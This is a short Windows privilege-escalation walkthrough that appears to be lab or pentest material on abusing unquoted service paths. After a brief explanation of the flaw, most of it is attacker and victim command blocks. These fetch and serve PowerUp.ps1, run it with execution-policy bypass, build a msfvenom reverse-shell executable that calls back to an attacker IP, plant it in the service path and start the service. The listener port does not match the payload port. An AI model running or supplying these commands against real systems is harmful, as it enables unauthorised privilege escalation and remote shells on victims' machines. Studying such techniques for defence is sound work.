Unquoted Service Path

The Windows API must assume where to find the referenced application if the path contains spaces and is not enclosed by quotation marks. If, for example, a service uses the unquoted path:

Vulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe

The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable directory.

C:\Program.exe

C:\Program Files\Ignite.exe

C:\Program Files\Ignite Data\Vuln.exe

C:\Program Files\Ignite Data\Vuln Service\file.exe

Abusing Unquoted Service Paths

Attacker

```
wget https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
python –m SimpleHTTPServer 80
nc –lvp 1245
```

Victim

```
powershell
wget http://192.168.1.3/PowerUp.ps1 -o PowerUP.ps1
powershell –ep bypass
Import-Module .\PowerUp.ps1
Get-UnquotedService
```

Attacker

```
msfvenom –p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 –f exe > Vuln.exe
python –m SimpleHTTPServer 80
```

Victim

```
powershell wget http://192.168.1.3/Vuln.exe -o Vuln.exe
net start vulns
```